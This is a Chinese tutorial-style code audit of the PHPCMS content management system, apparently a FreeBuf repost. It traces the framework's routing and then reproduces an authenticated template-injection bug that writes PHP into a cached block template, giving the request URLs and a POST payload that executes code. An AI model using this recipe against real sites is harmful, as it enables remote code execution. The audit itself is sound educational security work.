代码审计实战思路之浅析PHPCMS

  • A+
所属分类:未分类

*本文作者:wnltc0,

前言

这是在FreeBuf的第二篇审计文章,不是想讲漏洞分析,更多是想写下整个审计的过程,在我最开始学代码审计时,拿到一套cms,却无从下手,想从网上找找实战案例,但找到的大都是案例分析,没见过几篇是把整个审计过程写下来的。经过一番摸索,终于从小白进阶到菜鸟,于是想着写几篇带完整过程的代码审计文章,尽管这些过程在大佬们看来跟后面的漏洞关系不大、并不重要;但对于新手朋友来说,这可能是一篇把他从迷茫中拉出来的文章。

虽然我只写了两篇,但每篇都是我审计时的完整过程,算不是什么深度好文,但只希望能给新手朋友一点点帮助。我只是位菜鸟,写出让大佬满意的文章,我不是小说主角,做不出越级的操作,但我的文章兴许能对新人朋友有帮助呢?毕竟我也是刚从新手过来的,我知道那时候的我想要什么,但找不到;如果后来人也这么想,也像当初的我那样想,那这两篇就没白写~

通读全文

跟进index.php

define('PHPCMS_PATH', dirname(__FILE__).DIRECTORY_SEPARATOR);

include PHPCMS_PATH.'/phpcms/base.php';
pc_base::creat_app();

phpcms/base.php包含进来,然后调用pc_base::creat_app函数,跟进phpcms/base.php

define('IN_PHPCMS', true);

//PHPCMS框架路径
define('PC_PATH', dirname(__FILE__).DIRECTORY_SEPARATOR);

if(!defined('PHPCMS_PATH')) define('PHPCMS_PATH', PC_PATH.'..'.DIRECTORY_SEPARATOR);

//缓存文件夹地址
define('CACHE_PATH', PHPCMS_PATH.'caches'.DIRECTORY_SEPARATOR);
//主机协议
define('SITE_PROTOCOL', isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443' ? 'https://' : 'http://');
//当前访问的主机名
define('SITE_URL', (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : ''));
//来源
define('HTTP_REFERER', isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '');

//系统开始时间
define('SYS_START_TIME', microtime());

//加载公用函数库
pc_base::load_sys_func('global');
pc_base::load_sys_func('extention');
pc_base::auto_load_func();

pc_base::load_config('system','errorlog') ? set_error_handler('my_error_handler') : error_reporting(E_ERROR | E_WARNING | E_PARSE);
//设置本地时差
function_exists('date_default_timezone_set') && date_default_timezone_set(pc_base::load_config('system','timezone'));

define('CHARSET' ,pc_base::load_config('system','charset'));
//输出页面字符集
header('Content-type: text/html; charset='.CHARSET);

define('SYS_TIME', time());
//定义网站根路径
define('WEB_PATH',pc_base::load_config('system','web_path'));
//js 路径
define('JS_PATH',pc_base::load_config('system','js_path'));
//css 路径
define('CSS_PATH',pc_base::load_config('system','css_path'));
//img 路径
define('IMG_PATH',pc_base::load_config('system','img_path'));
//动态程序路径
define('APP_PATH',pc_base::load_config('system','app_path'));

//应用静态文件路径
define('PLUGIN_STATICS_PATH',WEB_PATH.'statics/plugin/');

......

9-60行,定义常量,加载通用函数库

继续跟进pc_base::creat_app方法,phpcms/base.php 67行

/**

 * 初始化应用程序

 */

public static function creat_app() {

    return self::load_sys_class('application');

}

这里介绍几个比较常用的方法,都在pc_base类中

load_sys_class //加载系统类

load_app_class //加载应用类

load_model //加载数据模型load_config //加载配置文件

    /**
     * 加载系统类方法
     * @param string $classname 类名
     * @param string $path 扩展地址
     * @param intger $initialize 是否初始化
     */
    public static function load_sys_class($classname, $path = '', $initialize = 1) {
            return self::_load_class($classname, $path, $initialize);
    }
    /**
     * 加载应用类方法
     * @param string $classname 类名
     * @param string $m 模块
     * @param intger $initialize 是否初始化
     */
    public static function load_app_class($classname, $m = '', $initialize = 1) {
        $m = empty($m) && defined('ROUTE_M') ? ROUTE_M : $m;
        if (empty($m)) return false;
        return self::_load_class($classname, 'modules'.DIRECTORY_SEPARATOR.$m.DIRECTORY_SEPARATOR.'classes', $initialize);
    }
    /**
     * 加载数据模型
     * @param string $classname 类名
     */
    public static function load_model($classname) {
        return self::_load_class($classname,'model');
    }

对比三个方法发现,相同的是核心都是调用_load_class方法,跟进_load_class方法

    /**
     * 加载类文件函数
     * @param string $classname 类名
     * @param string $path 扩展地址
     * @param intger $initialize 是否初始化
     */
    private static function _load_class($classname, $path = '', $initialize = 1) {
        static $classes = array();
        if (empty($path)) $path = 'libs'.DIRECTORY_SEPARATOR.'classes';

        $key = md5($path.$classname);
        if (isset($classes[$key])) {
            if (!empty($classes[$key])) {
                return $classes[$key];
            } else {
                return true;
            }
        }
        if (file_exists(PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.'.class.php')) {
            include PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.'.class.php';
            $name = $classname;
            if ($my_path = self::my_path(PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.'.class.php')) {
                include $my_path;
                $name = 'MY_'.$classname;
            }
            if ($initialize) {
                $classes[$key] = new $name;
            } else {
                $classes[$key] = true;
            }
            return $classes[$key];
        } else {
            return false;
        }
    }

跟读完_load_class方法,可知:

当调用load_sys_class时,到 phpcms/libs/classes目录下找xx.class.php

当调用load_app_class时,到phpcms/modules/模块名/classes/目录下找xx.class.php

当调用load_model时,到phpcms/model目录下找xx.class.php

如果$initialize=1时,包含类文件并实例化类,反之,仅包含类文件

还有个load_config方法,用于加载配置文件,继续跟进 260行

    /**
     * 加载配置文件
     * @param string $file 配置文件
     * @param string $key  要获取的配置荐
     * @param string $default  默认配置。当获取配置项目失败时该值发生作用。
     * @param boolean $reload 强制重新加载。
     */
    public static function load_config($file, $key = '', $default = '', $reload = false) {
        static $configs = array();
        if (!$reload && isset($configs[$file])) {
            if (empty($key)) {
                return $configs[$file];
            } elseif (isset($configs[$file][$key])) {
                return $configs[$file][$key];
            } else {
                return $default;
            }
        }
        $path = CACHE_PATH.'configs'.DIRECTORY_SEPARATOR.$file.'.php';
        if (file_exists($path)) {
            $configs[$file] = include $path;
        }
        if (empty($key)) {
            return $configs[$file];
        } elseif (isset($configs[$file][$key])) {
            return $configs[$file][$key];
        } else {
            return $default;
        }
    }

调用load_config时,到caches/configs/目录下找xx.php

如果$key不为空时,返回具体配置变量的值,反之,返回整个配置文件中的配置信息

了解了几个常见的方法后,继续回到pc_base::creat_app方法

    /**
     * 初始化应用程序
     */
    public static function creat_app() {
        return self::load_sys_class('application');
    }

该处只有一句代码,实例化application类,由于前面已经了解过这几个常见的方法,所以这里能轻易的就找到application类的文件,跟进phpcms/libs/classes/application.class.php

class application {

    /**
     * 构造函数
     */
    public function __construct() {
        $param = pc_base::load_sys_class('param');
        define('ROUTE_M', $param->route_m());
        define('ROUTE_C', $param->route_c());
        define('ROUTE_A', $param->route_a());
        $this->init();
    }
    ......

application类的构造方法中实例化了param类,并定义了几个常量,根据常量名,猜测应该是跟路由相关,跟进phpcms/libs/classes/param.class.php

class param {

    //路由配置
    private $route_config = '';

    public function __construct() {
        if(!get_magic_quotes_gpc()) {
            $_POST = new_addslashes($_POST);
            $_GET = new_addslashes($_GET);
            $_REQUEST = new_addslashes($_REQUEST);
            $_COOKIE = new_addslashes($_COOKIE);
        }

        $this->route_config = pc_base::load_config('route', SITE_URL) ? pc_base::load_config('route', SITE_URL) : pc_base::load_config('route', 'default');

        if(isset($this->route_config['data']['POST']) && is_array($this->route_config['data']['POST'])) {
            foreach($this->route_config['data']['POST'] as $_key => $_value) {
                if(!isset($_POST[$_key])) $_POST[$_key] = $_value;
            }
        }
        if(isset($this->route_config['data']['GET']) && is_array($this->route_config['data']['GET'])) {
            foreach($this->route_config['data']['GET'] as $_key => $_value) {
                if(!isset($_GET[$_key])) $_GET[$_key] = $_value;
            }
        }
        if(isset($_GET['page'])) {
            $_GET['page'] = max(intval($_GET['page']),1);
            $_GET['page'] = min($_GET['page'],1000000000);
        }
        return true;
    }
    ......

postget等外部传入的变量交给new_addslashes函数处理,new_addslashes函数的核心就是addslashes

除了转义外部传入的变量,还有就是加载route配置,在caches/configs/route.php ,如下

return array(
    'default'=>array('m'=>'content', 'c'=>'index', 'a'=>'init'),
);

继续往下,

    /**
     * 获取模型
     */
    public function route_m() {
        $m = isset($_GET['m']) && !empty($_GET['m']) ? $_GET['m'] : (isset($_POST['m']) && !empty($_POST['m']) ? $_POST['m'] : '');
        $m = $this->safe_deal($m);
        if (empty($m)) {
            return $this->route_config['m'];
        } else {
            if(is_string($m)) return $m;
        }
    }

    /**
     * 获取控制器
     */
    public function route_c() {
        $c = isset($_GET['c']) && !empty($_GET['c']) ? $_GET['c'] : (isset($_POST['c']) && !empty($_POST['c']) ? $_POST['c'] : '');
        $c = $this->safe_deal($c);
        if (empty($c)) {
            return $this->route_config['c'];
        } else {
            if(is_string($c)) return $c;
        }
    }

    /**
     * 获取事件
     */
    public function route_a() {
        $a = isset($_GET['a']) && !empty($_GET['a']) ? $_GET['a'] : (isset($_POST['a']) && !empty($_POST['a']) ? $_POST['a'] : '');
        $a = $this->safe_deal($a);
        if (empty($a)) {
            return $this->route_config['a'];
        } else {
            if(is_string($a)) return $a;
        }
    }
    .......
        /**
     * 安全处理函数
     * 处理m,a,c
     */
    private function safe_deal($str) {
        return str_replace(array('/', '.'), '', $str);
    }

回到application类的构造方法

    /**
     * 构造函数
     */
    public function __construct() {
        $param = pc_base::load_sys_class('param');
        define('ROUTE_M', $param->route_m());
        define('ROUTE_C', $param->route_c());
        define('ROUTE_A', $param->route_a());
        $this->init();
    }

几个常量的值也知道是什么了,继续跟进$this->init方法 25行

    /**
     * 调用件事
     */
    private function init() {
        $controller = $this->load_controller();
        if (method_exists($controller, ROUTE_A)) {
            if (preg_match('/^[_]/i', ROUTE_A)) {
                exit('You are visiting the action is to protect the private action');
            } else {
                call_user_func(array($controller, ROUTE_A));
            }
        } else {
            exit('Action does not exist.');
        }
    }

跟进$this->load_controller 44行

    /**
     * 加载控制器
     * @param string $filename
     * @param string $m
     * @return obj
     */
    private function load_controller($filename = '', $m = '') {
        if (empty($filename)) $filename = ROUTE_C;
        if (empty($m)) $m = ROUTE_M;
        $filepath = PC_PATH.'modules'.DIRECTORY_SEPARATOR.$m.DIRECTORY_SEPARATOR.$filename.'.php';
        if (file_exists($filepath)) {
            $classname = $filename;
            include $filepath;
            if ($mypath = pc_base::my_path($filepath)) {
                $classname = 'MY_'.$filename;
                include $mypath;
            }
            if(class_exists($classname)){
                return new $classname;
            }else{
                exit('Controller does not exist.');
             }
        } else {
            exit('Controller does not exist.');
        }
    }

包含控制器类文件,实例化控制器并返回,具体文件路径:modules/模块名/控制器名.php (默认加载modules/content/index.php)

$this->init方法调用$this->load_controller方法来加载和实例化控制器类,然后调用具体的方法

跟读完index.php,了解到

核心类库在 phpcms/libs/classes/

模型类库在 phpcms/model/

应用目录 phpcms/modules/

配置目录 caches/configs/

全局变量被转义,$_SERVER 除外

模块名、控制器名、方法名中的 /.会被过滤

方法名不允许以 _ 开头

了解了整体结构后,再来思考下审计的方式方法:

方案一:先对核心类库进行审计,如果找到漏洞,那么在网站中可能会存在多处相同的漏洞,就算找不到漏洞,那对核心类库中的方法也多少了解,后面对具体应用功能审计时也会轻松一些

方案二:直接审计功能点,优点:针对性更强;缺点:某个功能点可能调用了多个核心类库中的方法,由于对核心类库不了解,跟读时可能会比较累,需要跟的东西可能会比较多

//无论哪种方案,没耐心是不行滴;如果你审计时正好心烦躁的很,那你可以在安装好应用后,随便点点,开着bp,抓抓改改,发现觉得可能存在问题的点再跟代码,这种方式(有点偏黑盒)能发现一些比较明显的问题,想深入挖掘,建议参考前面两种方案

漏洞分析

漏洞存在于 phpcms/modules/block/block_admin.phpblock_update方法 120行

public function block_update() {
        $id = isset($_GET['id']) && intval($_GET['id']) ? intval($_GET['id']) :  showmessage(L('illegal_operation'), HTTP_REFERER);
        //进行权限判断
        if ($this->roleid != 1) {
            if (!$this->priv_db->get_one(array('blockid'=>$id, 'roleid'=>$this->roleid, 'siteid'=>$this->siteid))) {
                showmessage(L('not_have_permissions'));
            }
        }
        if (!$data = $this->db->get_one(array('id'=>$id))) {
            showmessage(L('nofound'));
        }
        if (isset($_POST['dosubmit'])) {
            $sql = array();
            if ($data['type'] == 2) {
                $title = isset($_POST['title']) ? $_POST['title'] : '';
                $url = isset($_POST['url']) ? $_POST['url'] : '';
                $thumb = isset($_POST['thumb']) ? $_POST['thumb'] : '';
                $desc = isset($_POST['desc']) ? $_POST['desc'] : '';
                $template = isset($_POST['template']) && trim($_POST['template']) ? trim($_POST['template']) : '';
                $datas = array();
                foreach ($title as $key=>$v) {
                    if (empty($v) || !isset($url[$key]) ||empty($url[$key])) continue;
                    $datas[$key] = array('title'=>$v, 'url'=>$url[$key], 'thumb'=>$thumb[$key], 'desc'=>str_replace(array(chr(13), chr(43)), array('', ' '), $desc[$key]));
                }
                if ($template) {
                    $block = pc_base::load_app_class('block_tag');
                    $block->template_url($id, $template);
//代码太长,把关键点放出来就好
.......
.......
    }

block_admin方法中,先是通过id来判断权限 (这里可以新建一条记录来获取id)

然后就是对post传入的数据进行处理,关键点在$block->template_url方法,跟进 phpcms/modules/classes/block_tag.class.php 46行

    /**
     * 生成模板返回路径
     * @param integer $id 碎片ID号
     * @param string $template 风格
     */
    public function template_url($id, $template = '') {
        $filepath = CACHE_PATH.'caches_template'.DIRECTORY_SEPARATOR.'block'.DIRECTORY_SEPARATOR.$id.'.php';
        $dir = dirname($filepath);
        if ($template) {
            if(!is_dir($dir)) {
                mkdir($dir, 0777, true);
            }
            $tpl = pc_base::load_sys_class('template_cache');
            $str = $tpl->template_parse(new_stripslashes($template));
            @file_put_contents($filepath, $str);
        } else {
            if (!file_exists($filepath)) {
                if(!is_dir($dir)) {
                    mkdir($dir, 0777, true);
                }
                $tpl = pc_base::load_sys_class('template_cache');
                $str = $this->db->get_one(array('id'=>$id), 'template');
                $str = $tpl->template_parse($str['template']);
                @file_put_contents($filepath, $str);
            }
        }
        return $filepath;
    }

$block->template_url方法中,调用了$tpl->template_parse方法对 $template变量进行处理,然后写入文件,最后返回文件路径

跟进$tpl->template_parse方法,phpcms/libs/classes/template_cache.class.php 69行

    /**
     * 解析模板
     *
     * @param $str    模板内容
     * @return ture
     */
    public function template_parse($str) {
        $str = preg_replace ( "/\{template\s+(.+)\}/", "", $str );
        $str = preg_replace ( "/\{include\s+(.+)\}/", "", $str );
        $str = preg_replace ( "/\{php\s+(.+)\}/", "", $str );
        $str = preg_replace ( "/\{if\s+(.+?)\}/", "", $str );
        $str = preg_replace ( "/\{else\}/", "", $str );
        $str = preg_replace ( "/\{elseif\s+(.+?)\}/", "", $str );
        $str = preg_replace ( "/\{\/if\}/", "", $str );
        //for 循环
        $str = preg_replace("/\{for\s+(.+?)\}/","",$str);
        $str = preg_replace("/\{\/for\}/","",$str);
        //++ --
        $str = preg_replace("/\{\+\+(.+?)\}/","",$str);
        $str = preg_replace("/\{\-\-(.+?)\}/","",$str);
        $str = preg_replace("/\{(.+?)\+\+\}/","",$str);
        $str = preg_replace("/\{(.+?)\-\-\}/","",$str);
        $str = preg_replace ( "/\{loop\s+(\S+)\s+(\S+)\}/", "", $str );
        $str = preg_replace ( "/\{loop\s+(\S+)\s+(\S+)\s+(\S+)\}/", " \\3) { ?>", $str );
        $str = preg_replace ( "/\{\/loop\}/", "", $str );
        $str = preg_replace ( "/\{([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff:]*\(([^{}]*)\))\}/", "", $str );
        $str = preg_replace ( "/\{\\$([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff:]*\(([^{}]*)\))\}/", "", $str );
        $str = preg_replace ( "/\{(\\$[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*)\}/", "", $str );
        $str = preg_replace_callback("/\{(\\$[a-zA-Z0-9_\[\]\'\"\$\x7f-\xff]+)\}/s",  array($this, 'addquote'),$str);
        $str = preg_replace ( "/\{([A-Z_\x7f-\xff][A-Z0-9_\x7f-\xff]*)\}/s", "", $str );
        $str = preg_replace_callback("/\{pc:(\w+)\s+([^}]+)\}/i", array($this, 'pc_tag_callback'), $str);
        $str = preg_replace_callback("/\{\/pc\}/i", array($this, 'end_pc_tag'), $str);
        $str = "" . $str;
        return $str;
    }

$tpl->template_parse方法主要负责模板解析,但并没看到有什么限制,

回到$block->template_url方法

public function template_url($id, $template = '') {
        $filepath = CACHE_PATH.'caches_template'.DIRECTORY_SEPARATOR.'block'.DIRECTORY_SEPARATOR.$id.'.php';
        $dir = dirname($filepath);
        if ($template) {
            if(!is_dir($dir)) {
                mkdir($dir, 0777, true);
            }
            $tpl = pc_base::load_sys_class('template_cache');
            $str = $tpl->template_parse(new_stripslashes($template));
            @file_put_contents($filepath, $str);
......
    }

$template 变量由post传入,可控;但$filepath 不能直接访问,因为在$tpl->template_parse 处理时在$template 前面拼接了一段<?php defined('IN_PHPCMS') or exit('No permission resources.'); ?> ,所以,想要利用还需要找到一处包含点

block_tag类中处理template_url方法还有一个pc_tag

    /**
     * PC标签中调用数据
     * @param array $data 配置数据
     */
    public function pc_tag($data) {
        $siteid = isset($data['siteid']) && intval($data['siteid']) ? intval($data['siteid']) : get_siteid();
        $r = $this->db->select(array('pos'=>$data['pos'], 'siteid'=>$siteid));
        $str = '';
        if (!empty($r) && is_array($r)) foreach ($r as $v) {
            if (defined('IN_ADMIN') && !defined('HTML')) $str .= '';
            if ($v['type'] == '2') {
                extract($v, EXTR_OVERWRITE);
                $data = string2array($data);
                if (!defined('HTML'))  {
                    ob_start();
                    include $this->template_url($id);
                    $str .= ob_get_contents();
                    ob_clean();
                } else {
                    include $this->template_url($id);
                }

            } else {
                $str .= $v['data'];
            }
            if (defined('IN_ADMIN')  && !defined('HTML')) $str .= '';
        }
        return $str;
    }

注意那句include $this->template_url($id); ,妥妥的包含点啊

接下来再找找哪里调用了该方法就好了

全局搜索->pc_tag( 发现在caches/cache_template/default/link/register.php 文件中调用了该方法,但这个文件也不能直接访问,看路径感觉像缓存文件,尝试跟进到link模块的register方法

     /**
     *    申请友情链接 
     */
    public function register() { 
             .........
               include template('link', 'register');
         }
    }

可算找到了,template('link', 'register') 返回的结果就是caches/cache_template/default/link/register.php

漏洞复现

复现条件:

登录后台

调用block_update需要传入id,所以先插入一条数据来获取id,构造数据包如下

URL: http://192.168.0.1/phpcms/index.php?m=block&c=block_admin&a=add&pos=1&pc_hash=gh43rD
POST:dosubmit=&name=bb&type=2

插入成功如下图:

D:\Documents\phpcms01

点击跳转,可跳转到block_update方法(包含id)

构造数据包如下:

URL:http://192.168.0.1/phpcms/index.php?m=block&c=block_admin&a=block_update&id=4&pc_hash=gh43rD&pc_hash=gh43rD
POST:dosubmit=&name=bb&type=2&url=&thumb=&desc=&template={php phpinfo();}

D:\Documents\phpcms02

访问shell:

D:\Documents\phpcms03

可算写完了,写到后面人都懵了,漏洞分析后半部分跟漏洞复现那块,感觉有点粗糙,各位大佬见谅哈!!

END!!!

*本文作者:wnltc0,

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: